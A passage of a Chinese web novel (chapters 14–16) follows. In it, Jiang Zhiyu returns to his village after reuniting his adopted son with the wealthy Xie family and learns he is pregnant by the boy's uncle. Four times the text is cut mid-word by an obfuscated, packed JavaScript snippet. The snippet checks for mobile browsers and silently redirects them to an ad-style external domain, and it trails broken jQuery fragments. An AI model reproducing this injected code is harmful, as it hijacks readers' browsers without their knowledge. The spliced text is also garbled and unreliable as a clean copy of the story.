黎星若以为昭昭养父是不支持自己喜欢津延哥,他其实也不知道自己为什么喜欢津延哥,就知道知晓自己心意的时候,就暗恋了很多年,已经成了一种习惯。 他因此坚定了自己语气:“可我就是喜欢他。” 这话刚好被招待完宾客回到宴席上的谢津延听到,谢津延面色沉了沉,显然没忘记刚才那出让他头疼的闹剧。 黎清叙视线一直有意无意往这边投来,见情况不妙,连忙再次将弟弟劝开。 可江之遇越发摸不着头脑了。 这样的疑惑一直持续到宴会结束,宾客散去。 江之遇想起来自己最重要的事情,把礼物包装好送给昭昭,离开北城回乡下。 不知不觉,他竟然在谢家已经住了小半个月了。 从原来的世界不小心坠落悬崖重生来这里,又带着养子到北城寻亲,住进了豪门大家的谢家,受到了谢家一家人热情的款待。 整个过程像是做梦一样。 江之遇在宴会结束后佣人们都在清理宴客厅的时候回到自己的屋子,收拾行李。 他东西本来就少,没花多长时间就收拾好了,还把客房收拾成一开始住的样子,然后去楼下把礼物送给昭昭。 谢寻昭捧着他做的小飞鸟,很是高兴,可是听到养父说要离开,尽管早就做好了有一天养父会离开他的心理准备,还是会感到突然。 “不再多住一段时间吗?”谢老夫人看着江之遇拎着的行李,试图挽留。 她已经把小孙子的养父当成了家里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136041|164454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一份子,隐隐有种感觉,之遇的出现,是为了弥补他们失去大儿子大儿媳的缺憾。 江之遇摇摇头:“我已经打扰你们太久了。” 谢老夫人见再没理由把他留下来,只能安排司机趁着白天的时候送他回家。 一家人把他送到门外。 包括厨房的厨师还有谢家在内的佣人们都十分不舍。 江先生住在谢家的这段时间,总是帮他们打下手,减轻了他们很多负担,让他们的日常工作没有那么枯燥无味。 “爸爸,你要是想我的话一定要回来看我,或者我回去看你也行。”谢寻昭抱住养父,不舍地和他分别。 不怎么流露情感的谢老先生道:“如果有需要我们的地方随时告诉我们,不要和我们见外。” “总之,你就把这里当作你第二个家,无论什么时候想回来都可以。”谢老夫人如今最见不得分别。 上一次分别,就是永远。 她内心其实很希望之遇能够留下来。 谢津延心情很复杂。 说来奇怪,从昭昭养父住进他家的第一个晚上开始,他就希望这个男人能够早点离开,回乡下去。 为此他让宋秘书用最短的时间把对方乡下的房屋修缮好。 然而提早回家的那个傍晚,鬼使神差的,这样的话没有说出口。 等到今天男人真的要回去了,拎着他带昭昭回来时那个皱巴巴的行李袋,谢津延心里又浮荡出一种微妙的感觉。 有点像小时候从庄园的树篱墙里闯进来的一只狸花猫,不知道是哪家走失的,在树上挂了许久。 下雨天,狸花猫缩在树枝上,瑟瑟发抖。 谢津延放学回家路过那株大树,司机跟在他身后撑着伞,他无意间抬头,看到缩在树枝上的狸花猫,被雨淋湿了一身毛发。 大概是流浪太久,那只猫有些削瘦,听到脚步声,缩了缩身子呜呜咽咽叫着。 向来不喜欢猫这种生物的谢津延将它带了回去。 但也仅限于带回去,之后交给家里的佣人照顾喂养。 那只猫很乖巧,吃饱喝足后就安安静静地在家待着,不吵不闹,但佣人们逗它的时候,它会伸过去脑袋让它们摸。 大家都很喜欢它。 谢津延说不上来是不是习惯了这只猫的存在。 只知道后来它的主人找过来,把它接回去,他心里产生过一瞬的空落。 现在谢津延的心里就是这样一种感觉。 “谢老先生,谢老夫人,你们快回屋子里去吧,不用再送我了,昭昭,爸爸会想你的。”江之遇不是没有看到昭昭小叔脸上怪异的神色,不过这个男人的心思向来无法让人揣测。 而且江之遇知道昭昭小叔不喜欢自己,他这么一离开,昭昭小叔往后就不用再看到他了,也不用担心有人把那晚的荒唐事情说出去。 谢家一家人一直目送着送他的车走远才返回家中。 望着那座像城堡一样的漂亮建筑在身后越来越远,江之遇心里也流露出不舍。 可是他终将也要回去过自己的生活,就当在谢家这段温暖的日子不过是他不小心闯进的一个美好梦境。 14. 第 14 章 祁焰抽开身匆匆忙忙赶往谢家的时候,宾客已经散去。 他的车在盘山山道和一辆驶向城郊方向的车擦身而过,夏日的热浪轻轻拨动树枝,车窗倒映着一张出神望着窗外景象的清隽侧颜。 祁焰不经意一瞥,车影掠过,光在他额前细软的发丝上,还有小巧漂亮的鼻尖、嘴唇染上一层金边,毛茸茸的。 祁焰惊艳了一秒。 随后对着不断从手机对话框里弹出的信息焦头烂额。 “我也不想迟到的,不知道谁泄露了我的行程,粉丝在机场围得水泄不通,不得不把他们疏散开弄了个临时粉丝见面会。” “我是个良好的公民,难道你们让我把机场堵住,影响他人通行,破坏公众秩序?” “算了,不说了,这次回国不出意外应该就在国内发展了,以后不会再迟到了OK,老黎你说话能不能不要那么难听,什么叫我以后在自己的婚礼上也会迟到?我告诉你不可能,因为我压根就不会结婚!” “一个好的偶像是要断情绝爱的,你放心,你担心的这种事不会在我身上发生,我连喜欢的人都不可能有,怎么可能结婚?” 祁焰满脸不屑,嗤笑着在发小群里一一回怼过去。 这群人也太小看自己的定力了。 不过没能参加到星若的成人礼和昭昭的欢迎宴,祁焰心里难免还是有些心虚和遗憾。 到谢家送上去迟来的礼物和祝福,黎清叙回公司谈生意了,岭生也返回了寺庙。 虽说宾客都散去了,热闹的时刻结束,但到底是一个这么喜庆的日子,祁焰发现谢家伯父伯母脸上的表情并没有那么喜悦。 阿延好不容易找回来的小侄子看上去情绪也十分低落。 “昭昭这是怎么了?怎么一脸不开心的样子。”祁焰性很是疑惑。 谢老夫人道:“他只是不舍得他养父而已。” 哦,养父? 刚才好像在群里听黎清叙和岭生提到过,从乡下来的,其他没多说。 祁焰便也没多想,自动在脑海里脑补了一个上了年纪,脸被田间的太阳晒得黑黢黢,勤恳朴实的中年乡下大叔。 能把谢家走失的小少爷千辛万苦带回来,是个好人。 祁焰这样认定。 他哄逗着发小找回来的小侄子。 祁焰性格阳光开朗,走到哪里都是人人喜爱的小太阳,很快就把昭昭养父离开带来的低落氛围驱散,逗得二老十分开心。 谢津延在楼上看赵叔收拾客房,听母亲叮嘱的,看有没有昭昭养父遗漏的东西,到时候让人把它们送过去。 有什么遗漏的? 那个皱巴巴的行李袋能装多少东西。 谢津延面无表情注视着客房里的景象,被收拾得干干净净,平时做木工的工具也归置得整整齐齐放在一个小木匣里。 自己让宋秘书给他挑的衣服都没动,全都挂在衣帽间里。 除此之外,没有别的东西落下。 一切和有人住进去之前没有什么分别,仿佛没有留下过痕迹。 谢津延不禁又想起小时候那只闯入又离开的狸花猫。 “你在看什么呢?”祁焰不知什么时候到楼上书房来找他,见他站在书房对面的客房门前怔怔看着什么,好奇地探过去头。 谢津延收回思绪,冷冷道:“没看什么。” “晚上去Fumfin聚聚?” Fumfin是他们几人以前喜欢去的酒吧,北城富家子弟寻常销金的一个场所,环境热闹中又不失一点清幽雅静,适合放松一下神经。 那里专为他们几个设有包厢,自从自己进了娱乐圈追梦,阿延接手谢家产业,老黎放弃学医开始经商,还有岭生陪他母亲去了隆安寺,他们就很久没有像以前那样小聚了。 这就是长大后的烦恼吗? 不知不觉,他们肩上都压下了重担。 祁焰感慨了一声,又催了下发小。 谢津延拒绝道:“不去。” “你们怎么现在都变得这么无趣?”祁焰抓了抓蓝色的头发,语气不满控诉。 谢津延没搭理他。 “好啦好啦,不去就不去。”祁焰见他一副心不在焉的样子,不知道在想什么,给自己找补,“我飞了这么久,也有些累了,改天再聚吧。” 外面的光线在一点一点转换。 从北城到江之遇住的溪源乡距离比司机预想中的还要远,千里之行,主要是到了那个地方,七绕八绕还要绕过许多山路。 最后拐了几条泥泞小路,才到了江先生所在的居所,到那时,已经过了一个下午和夜晚,天都要蒙蒙亮了。 司机不由得佩服江先生的意志力。 一路南行,他听江先生说是拎着行李带小少爷走了漫长的山路,搭路上的运羊车,辗转许多路程,最后坐最慢的绿皮火车到了北城。 司机在谢家开了很多年的车,出入往来,接触的都是北城的豪门大家,这是他第一次到这么偏僻的地方来,听江先生讲述的也像是另外一个世界的事情。 不过这也让他了解到江先生和小少爷流落在外时的生活,原来这么艰苦。 可是依旧把小少爷养的很好,不辞劳苦地将小少爷送回了谢家,听说还不要谢家的巨额报酬。 司机对这位小少爷的养父更加肃然起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136042|164454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敬了。 他帮江先生把行李拎下,又把临走前谢老夫人和谢老先生往后备箱里装的大包小包的东西搬运下车。 江之遇看他忙前忙后额头上都渗出汗水,关切道:“你要不要留下来休息一会儿再走?” 司机连忙摆了摆手:“不用了江先生,我要回去向老夫人还有谢总汇报已经将您安全送到了。” 说着,就打开车门驱车离去了。 等司机走后,江之遇看向自己来到这个世界的第一个家,离开了不到一个月的时间,却仿若隔世一样。 这是一座南地风格的带院落的田园式小屋,加上堂屋、卧室、厨房一共四间屋子,是以前原主的父母自己动手修建的。 一个月前的那场洪水将屋子冲垮,他带着昭昭离开时,屋子已经破旧不堪,房顶被风掀掉了一半,院子里的那株山楂树也被吹倒了。 然而现在,经过昭昭小叔让人重新修理,小屋焕然一新。 原来木制结构的屋子被用钢筋水泥土修葺,外面刷了一层粉白的墙,乌瓦全部换过。 南地多雨,昨日这里应该是下了一场小雨,回来时的小路泥泞,空气也是湿润的,夹杂着淡淡草木的清香,不像北城那么闷热干燥。 此时是凌晨四点左右,天空还未亮起,远处的山是黛色的,缭绕着一圈薄薄的白雾。 他的小屋就坐落在这样一处背后是山,远处是水的地方。 如果不是那场暴雨洪灾,这里像极了他以前居住的山间,虽然偏僻落后,却是一个十分宜居的场所。 江之遇打开门,走进屋子里。 空荡荡的屋子也被安置进去各种家具,桌子、椅子,放东西的柜子,还有卧室里的床,等等,所有的东西都安置齐全,连床单被褥都是铺得新的,还给他修了一个现代化的卫生间。 这样以后洗澡就不会不方便。 江之遇原本以为自己回来要收拾一番,然而现在看来,昭昭小叔虽然人看着冷漠疏离,一副生人勿扰不太好亲近的样子,做起事来却十分稳妥。 这哪里是修缮,分明是给他重新建造了一个家,他直接住进去就可以。 江之遇心里微微有些触动。 就是昭昭不在身边,屋子显得有些安静冷清,让最近一直待在谢家那样热热闹闹大家庭的江之遇一时有些不太习惯。 不过想到以前他就一直过着自己一个人的生活,江之遇又觉得没什么。 他现在只是回归到以前的生活方式而已。 这样想着,江之遇放下行李,把里面的衣服和生活用品整理好然后去卫生间洗了个热水澡。 然后躺上床安稳睡下了。 15.第 15 章 醒来的时候已是下午,太阳爬上山坡又缓缓地往下沉去。 熟悉的鸟叫声穿过窗户传入耳际,伴随着一阵一阵喳喳的蝉鸣。 江之遇躺在床上缓了缓,抬眼望向窗外。 好神奇,昨天他还在谢家参加昭昭热热闹闹的认亲欢迎宴,宴客厅觥筹交错,来往人影穿梭,今天他就已经待在自己在溪源乡的小屋了。 他眼睛适应了一会儿不那么刺眼的光线,就掀开薄被从床上起来。 勤劳的性子总是没办法让他在床上待太长时间。 何况昭昭如今已经回到了谢家,他和原主的心愿都完成了,从今天开始,江之遇就要开始在这个世界全新的生活了。 一场小雨过后,溪源乡如水洗一般的碧透。 清晨的薄雾散去,现在阳光倾洒山间,虽是夏日,空气却是舒缓清爽的。 江之遇换了一身干净的衣服,洗漱完,准备给自己做点吃的,刚才没什么感觉,洗漱完和把衣服洗干净晾晒后,肚子就开始咕咕叫了。 只是江之遇发现一个问题,许久没有回家,屋子里一点吃的也没有。 溪源乡地方偏僻,住在这里的乡民多是自己种地、养鸡、养鸭,自给自足,平常有要买的东西都是要翻过一个山头去稍远一点的集市。 原主也过着这样的生活。 但因为身体弱,没办法在田地里长时间耕种,更多是从村里做手工活的匠人那里接一些灯笼在家糊,赚些糊口钱和平常吃喝、要用的东西。 所以江之遇小院的田地是荒废的,这场洪灾过后,他离开这么久,更是杂草丛生,什么能够用于做饭、做菜的东西都没有。 这样一来,江之遇需要去山那边的集市采购一些生活用品。 他拎了背篓就准备出门,趁天色还早去一趟集市。 打开门,就看到溪源乡的许多村民聚在他家门口。 “之遇,真是你回来了?”隔壁的李婶看到他惊喜道,“昨晚我听到你院子里的动静还以为听错了,没想到真的是你。” “听说昭昭的家人找到了,是有钱人家的小少爷,乡长说有人给我们这里捐了一大笔钱,是不是就是因为你和昭昭呀。”村西养鱼的张大叔问。 “对对,之遇哥,我也听说了这件事。” 小海螺兴奋地跑到江之遇面前,眨起晶亮的眼睛。 “老师告诉我们有人要给我们建一所学校,已经要动工了,听说小学、初中、高中都有,建好多栋楼,有大大的食堂和宿舍,好像还不收我们学费和生活费!” 小海螺高兴地比划着,她是溪源乡学习最好的女孩,平时会到家里帮昭昭补课。 马上要读高中了,她的梦想是上了高中努力学习,然后考到一所在海滨城市的大学。 她从小生活在南方的山里,还没有走出去看过大海,她特别想看一看一望无际蔚蓝天空下波光粼粼的大海,在海边捡海螺,听海螺里是不是真的有大海的声音。 可是这场暴雨冲垮了村里唯一的一所学校,江之遇带着昭昭去北城寻亲的时候路过她家门口,隐约听到她和家人争吵。 她父亲正好借这场洪灾把学校冲毁没地方念书,让她辍学外出打工。 “不仅要建学校,还在筹备修路,捐助款已经打到我们的账户上了,还给我们送了好多东西。” 乡民们你一句我一句,激动地讲述着江之遇离开溪源乡这段时间的经历。 洪灾过后,他们每家每户都遭到了巨大的损失,尽管有政府的救援,还是远远不够,生活愈发拮据清贫。 没想到在这个时候,突然有人给他们捐了一大笔钱,还承包下溪源乡的重建和修缮以及各种设施建设。 后来他们一打听,才知道跟昭昭有关。 那个之遇三年前收养的不知从哪里流落到村里的遍体鳞伤的可怜小孩子。 江之遇带昭昭去北城寻亲大家都知道,临行前还给他们父子二人凑了些口粮,不然江之遇也没办法在北城坚持那么长时间。 眼下之遇回来了。 前段时间有一个西装革履的城里人带着许多陌生面孔来到之遇家的小院,抬抬手,便把他破旧的小屋翻修一新。 说是受什么总吩咐,来帮小少爷的养父修缮屋子。 大家那时候就在猜测,一定是之遇带昭昭找到了他真正的家人,还是富贵人家的孩子。 “李婶,张叔。”江之遇对上眼前大家热切望着他的一双双眼睛,感到意外的同时又有些不好意思,“昭昭的家人的确找到了,谢谢你们那时候帮我凑路费。” “原来是真的!” 村民们对视一眼,种种听闻和猜测对上,大家都十分激动,纷纷拉住江之遇问个不停,还不住向他和昭昭表达感谢。 热热闹闹中,江之遇肚子“叽咕”一声。 他脸红了红。 李婶和张大叔一怔,随后一人拉住他一只手。 “之遇,饿了吧,走,去我家吃饭,你刚回来,家里现在肯定什么吃的都没有,婶子给你做好吃的。” “对,之遇,去我家吃鱼,叔的鱼塘又重新养起来了,刚捞了鲜嫩的鲫鱼,给你做鲫鱼豆腐汤。” 小海螺也来拉他的手,要他去她家。 江之遇对于邻居们的热情有些招架不住,肚子也实在饿得厉害,去山那边的集市要走一个多小时的山路,就答应了他们。 接下来的几日,江之遇都是被村民们的热情包裹。 渐渐地,他的生活也开始恢复了正常,逐渐步入正轨。 他先是去集市采购了一些日常生活用品和瓜果蔬菜的种子,随后用铁锹、锄头等工具将院子里荒废的土地翻整出来,撒下蔬菜的种子。 之前那株山楂树被洪水冲倒了,江之遇又重新种了一棵,外加从李婶家移栽的山茶花和石榴树,他的小院在自己的精心打理下,有了点原来世界的山里那座篱笆小院的样子。 天气渐热,暑气愈来愈浓。 眨眼之间,一个月就过去了。 江之遇已经完全适应了在这个世界的乡下生活,除了周围的人与原来不太一样,其他几乎已经没什么分别了。 他的生活过成了他一开始期望的那种样子。 园子里栽种的各种花都绽放了,一团簇成一团,蔬菜成熟一轮,他种的黄瓜、番茄也都成熟了。 他还在院子里圈了块地养了几只鸡,鸡每日下蛋,张叔有时候会拎来几条鱼,江之遇现在几乎自给自足,不用翻山去集市都能过很长时间了。 昭昭会每隔几天都会跟他打电话或者通视频,告诉他现在进了贵族学校,偶尔会向江之遇吐槽学校有多严厉,要学的东西很多,特别想养父,想回乡下找养父。 江之遇就笑着让他好好学习,等自己有时间了就去看他。 昭昭便要和他拉勾,说一定要去看他。 江之遇点点头,承诺一定会去。 日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137921|164454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子就这样一天天过着,平淡平静,却让江之遇感到无比地安稳和安心。 他以为这就是他往后的生活了,殊不知从他踏入北城的那一刻起,他的生命轨迹就已经在悄然改变。 这天,又下了一场小雨。 南地的雨不像北城那样来得迅猛,走得急,而是淅沥淅沥,轻缓地浇湿一整座山,一下就是一整日。 不知道是不是这一个月来致力于每天开垦田地,打理小院。 又是栽种,又是浇水,还有砍树木、竹子做栅栏和准备建一座阁楼木屋,每天都把时间填得满满的,有些劳累。 江之遇这天刚从湿漉漉的山上砍了竹子下来,走到门前,就觉得脑袋一阵眩晕。 雨淋湿地板,石头缝里长了点青苔。 他这么一恍惚,脚下一滑,就晕倒在了门口。 送他去村医馆的正是隔壁的李婶和她的女儿小蓁姐。 母女二人刚巧出门,就撞到了这一幕,慌里忙张把他送到了医馆。 这个医馆是一位姓许的老中医开的,许大夫五十岁那年游历到溪源乡,见这里环境优美,民风淳朴,就在溪源乡住下了。 不到镇上和市里的话,这是村民们唯一可以看病的地方。 村民们平常有个小病小痛的都是来这里找许大夫,并不往城里去。 江之遇就是被李婶和小蓁姐送到了这里。 醒来的时候,雨还没有停,淅沥淅沥的雨声打着医馆窗檐外的芭蕉和翠竹,滴滴答答的。 江之遇鼻尖浮荡着浓郁的草药气息,从病榻上睁开眼,就看到李婶和小蓁姐用一种十分关切的眼神看着自己。 “我怎么了?”江之遇不知道发生了什么,只知道晕倒的时候是在门口滑了一跤。 李婶和小蓁姐互相看了一眼,欲言又止。 最后是李婶开口,责备又满是关切的口吻:“之遇,你说你,怎么怀孕了也不好好爱惜自己的身体,下雨天的还往山上跑。” “怀孕?” 江之遇陡然听到这两个字眼还以为是自己耳朵出了问题。 他怔愣了有好几秒的时间,才不确定地问了声:“你说我怀孕是怎么一回事?” “就是从你的脉象诊断你已经怀孕有两个月的时间了。”许大夫从药房里走出来告诉他。 江之遇再次听到“怀孕”两个字,很难不怀疑自己有没有摔坏了脑子,或是其实滑到了还没有醒来,现在是在做梦。 他又确认了一遍。 得到的回复仍是他怀孕了。 江之遇很是迷茫:“可我是男人啊,男人怎么能怀孕?你们是不是搞错了。” “男人是有一定的可能性怀孕,虽然在这个世界上占比不多,但确实有这样一小部分群体,咱们村里之前也有一个跟你一样的人,如果去大医院的话,会遇到更多。” 许大夫头发胡子花白,满脸遍布皱纹,但到底是活了大半辈子的老中医,见识广,对于这样的情况见怪不怪,一副气定神闲的样子。 可江之遇还是稀里糊涂的,怎么都不敢相信许大夫说的话。 男人怎么能怀孕呢。 他怎么能怀孕呢? 如果怀孕的话…… 江之遇脑海里猛地闪过酒店那晚的画面,被凶狠地抵在门上,男人像是要把自己揳入到他身体里一样。 他艰难地撑着腿,翻着眼皮,肚子都鼓起来了…… 是、是因为那晚吗? 16.第 16 章 江之遇一瞬间很是惊慌。 素净隽秀的脸也在刚才脑海里闪过的那些画面下迅速爬了一层红晕。 他脑袋很懵,还是感到难以置信,最后是怎么走出医馆的都不知道。 就记得出门的时候老中医的声音在耳边飘飘忽忽的,叮嘱他,虽然这次摔倒没有对胎儿产生损伤,造成流产,但建议他好好休息,调养身体。 有时间的话去镇医院或市里更大一点的医院抽个血,拍个B超,也防止自己误诊。 毕竟许大夫已经很多年没有接诊过怀孕的男人了。 江之遇晕晕乎乎的。 李婶和小蓁姐扶着他,把他全部的反应看在眼里,母女二人都对之遇去了一趟北城回来就怀孕了充满了好奇。 但她们什么都没有说,也什么都没有问,只像许大夫一样不断叮嘱他先回去好好休息,其他的事情等以后再说。 在李婶和小蓁姐的帮助下,江之遇回到了家中,花了很长时间,始终不能够接受自己怀孕的事情。 直到晚一点的时候,小蓁姐端了用自家散养的鸡熬得香浓软烂的鸡汤过来,江之遇才勉强回过神,也确信自己并没有在做梦。 “之遇,你先吃点东西,等明天去镇医院检查一下,也可能是许大夫弄错了。”小蓁姐安慰道,尽管她知道许大夫医术高明,从来没有误诊的时候。 江之遇艰难地点点头。 第二天一早,江之遇就搭乘张叔进城办货的货车去了镇上。 在医术相对发达的医院里,他挂了孕科医生的号。 原本特别局促,害怕自己会被当成怪物。 然而江之遇惊讶地发现,他一路从挂号到去问诊的医生问诊室门外排队,再到支支吾吾、踌躇不安地小声告诉医生自己有可能怀孕了,没有任何人认为这是一件不同寻常的事情。 医生只是一边盯着电脑开单子,一边问他有没有家人陪着过来。 “老公呢?你是自己一个人来的吗?” 江之遇睁大眼睛,这些字他单独都能听懂,怎么凑在一起他听不明白了。 他一个男人,怎么可能有老公? 江之遇捏紧了衣角:“我、我一个人来的。” 李婶本来要小蓁姐陪他一起来镇上,江之遇觉得昨天自己晕倒,她们忙前忙后已经很麻烦她们了,就婉拒了她们,说自己一个人也可以。 “那先去做检查吧。”医生抬头看了他一眼,十分漂亮的一个男人,漂亮得让人一眼惊艳晃神那种,也不知道让他怀孕的是什么人。 看他紧张不安,好像不太知道自己怀孕的样子,还一个人来医院检查,希望不要是被渣男骗了。 医生开完单子,就让他去检查。 江之遇忐忑不安地关上问诊室的门。 之后缴费、抽血、排队做彩超,冰冷的探头在肚皮上来回移动,旁边的医生噼里啪啦打报告单。 最后检查的结果,孕八周,他确确实实怀孕了,不仅怀孕,而且怀孕了有一段时间。 江之遇拿着检查单,整个人都是懵的,像是被什么东西砸到脑袋上,一下子把他砸得所有的思绪都混乱了,脑袋里塞进了棉花。 医生看他推门进来,接过报告单。 “胎儿正常,没什么异样,建个档定期做产检就可以了。还有,”医生叮嘱一声,“近一个月不要有性.生活,让你老公忍着点。” 他希望这个漂亮男人是有正常的婚姻关系的,而不是被渣男所骗。 江之遇又一脸懵地走出问诊室。 走远后回想起医生的叮嘱,耳根从脖子红了一大片。 他能和什么人有性.生活啊…… 接下来,江之遇回到了家中,并用了三天的时间彻底接受了自己怀孕的事实。 不仅知道了男人可以怀孕,而且这些天,在邻居李婶、小蓁姐,还有自己开始用手机在网上搜寻各种关于男人怀孕的信息,让他了解到更震惊的一个事实。 那就是原来在这个世界里,男人不仅可以怀孕,还可以相爱、结婚,共同组建家庭。 在这里,男人和男人在一起,就像他们那里男人和女人在一起一样正常。 江之遇是对电子产品依赖度很低的人,穿越前他每天忙着生存,让自己的生活过得更好。 穿到这里来后,只有原主的一台老式旧手机,他平常只用作接打电话使用,并不喜欢玩手机,也不怎么关注信息发达的网络世界,只专注打理自己的小院。 直到此时一切被打破。 难怪…… 江之遇想到了昭昭欢迎宴上口口声声对昭昭小叔说喜欢的黎家小少爷,哭着向昭昭小叔告白,他当时不解,以为是崇拜式的那种喜欢。 毕竟人都有慕强心理。 还有村北那对一直没有娶媳妇儿,住在一起的义兄弟,他有一次撞见他们在高粱地里打滚,喘的声音一个比一个急促,两个人衣服都撕烂了,汗水淋漓的。 江之遇当时以为他们兄弟俩发生了什么矛盾,在打架,还远远劝解了一句。 现在回想…… 江之遇脸“腾”地一下烧灼起来。 谢家庄园。 谢寻昭从小叔叔的车上下来,小叔叔下午在他学校附近的地方谈生意,谈完就正好去他学校将他捎了回来。 奶奶今晚亲手做了好吃的玫瑰水晶糕和松鼠桂鱼。 谢寻昭把书包交到佣人手里,洗了手,开心地奔到餐桌前。 餐桌上已经摆放好了满满一大桌子菜,奶奶现在喜欢自己动手做一些东西,说是这样更有家庭氛围,更加热闹,像养父之前在家里时的那样。 谢寻昭拿起手机拍了几张照片,给养父发过去。 过了会儿,想到这段时间忙着阶段测试,已经有一个星期没有给养父打电话了,便一个视频通话打了过去。 通话过了有二十几秒才接通,谢津延从小侄子身旁走过,余光瞥见聊天框里闪过一个慌慌张张的漂亮面庞,受惊的小兔子一样。 谢津延拉开餐桌前的椅子坐下,慢条斯理拿起餐具,听到手机里传来一阵窸窸窣窣纸张哗动的声响。 谢寻昭越发变得帅气的脸上露出疑惑:“爸爸,你刚才在藏什么?” “没、没有。”江之遇声音明显有一丝慌乱,正坐在床上出神地看孕检单。 窗外天色已暗,暮色降下,在天空铺了一层天鹅绒似的黑色幕纱,谢津延能隐隐听到他那边悦耳的虫鸣声,混合着蛙叫。 谢寻昭察觉出一点异常,但养父很快表现出和平常没什么区别的样子,他又慢慢褪去疑惑,和养父分享起自己的日常。 谢老夫人探过去看了一眼,笑着问:“之遇,你什么时候再过来,你才走一个月,大家就念叨着想你了。” 江之遇不自然地挤出一个笑脸,乖巧说道:“等以后有机会就去找你们。” 几人聊了会儿家常。 谢老夫人注意到什么:“之遇,我看你脸色不太好,是最近身体不太舒服吗?” “有吗?”江之遇凑近聊天框对着镜头看了看自己。 他脸色白皙,是太阳晒不黑的体质,原本透着一点病态的白,在谢家住的那段时间养得脸颊红润了些。 但大概是这几天往来奔波于医馆和医院,被自己怀孕这样的事情震惊到,好几个晚上没有睡好觉,脸上又浮现出一丝苍白。 他用手拍了拍,支吾着给自己找借 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147213|164454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口:“可能是天气太热了吧,还有最近有点劳累。” “那你注意保重身体。”谢老夫人关切道,随后看向一边默不作声的儿子,“阿延,你明天让人准备点补品给之遇送过去。” 才从她家回去几天,怎么整个小脸就瘦了一圈。 谢老夫人心里再次涌出之遇要是能留下来就好了的念头。 而猝不及防提到昭昭小叔的名字,江之遇心口狠狠一跳,坐直在床头的身体也一下子有些僵。 谢津延略有些散漫的低沉嗓音传来:“知道了。” 挂断视频通话。 江之遇的心还在不受控制地跳动着,一跳一跳地仿佛要从心口里跳出来一样。 是这个男人的。 他肚子里的孩子是这个男人的。 江之遇原本以为酒店那个夜晚发生的事情不过是一个意外,昭昭小叔出了状况认错性别把他当成了女生。 他觉得这不过就是一个弄错了发生的一件玩笑事,早上起来会不好意思提起,都感到丢脸的糗事。 他自己也当作屁股里捅了一根棍子,看在对方是自己养子小叔的份上,没有计较和在意后面的事情。 怎么也没想到,这样会怀孕。 他怀了自己养子亲小叔的孩子。 江之遇呆呆地坐在床上,一想到自己怀了养子小叔的孩子就有些无措。 尤其是刚才还和昭昭通了视频,谢老夫人那么关心他。 从自己踏进谢家大门开始,谢老夫人和谢老先生就对他特别好,谢老夫人一度把他当成自己的亲生儿子看待。 如果让他们知道了自己怀了他们小儿子的孩子,会用怎样异样的眼光看自己。 江之遇脑袋乱糟糟的,跌坐在床上。 拿到报告单,确认自己怀孕的时候也想过要不要把这个孩子打掉。 可是当他回到家里一遍一遍看到单子上那个黑乎乎的影子,医生说,就是在这里,孕育着一个小生命。 江之遇是在很小的时候被弃养的,捡他回去的老爷爷说是在江边捡到的他,便给他取了个名字叫江之遇。 江之遇从来不知道自己的父母是谁,只知道自己是个没人要的孩子。 收养他的老爷爷过世后,他就这家蹭一点,那家蹭一点,吃百家饭艰难长大。 虽然村民们对他都很好,也遇见过亦师亦父教他手艺的师父,他也凭借自己的双手打造了一个属于自己的小家,可自始至终他还是一个人。 来到这个世界后,身边有了养子,有了昭昭。 可现在昭昭现在也被他送回了谢家。 他的世界里又恢复成了他一个人。 但是现在不一样了…… 江之遇混乱过后,摸了摸自己的肚子。 那里暂时还看不出起伏,竟神奇地孕育着一个生命。 男人能够生孩子的事情这段时间反复冲击着他,然而就在刚才,江之遇忽然觉得,这样也没什么不好。 他的生命人来人往,很多过客,从来没有人停留,和他有牵连的人总是陪在他身边很短一段时间,之后就永远地离开了。 有了这个小孩,是不是意味着以后他的生命也有了牵绊,他再也不是孤零零的一个人。 他可以有自己的家,有自己的孩子。 可以一室灯火,两个人影。 他可以全心全意抚养这个孩子,照顾这个小孩。 让他不用像自己一样,从小就被抛弃。 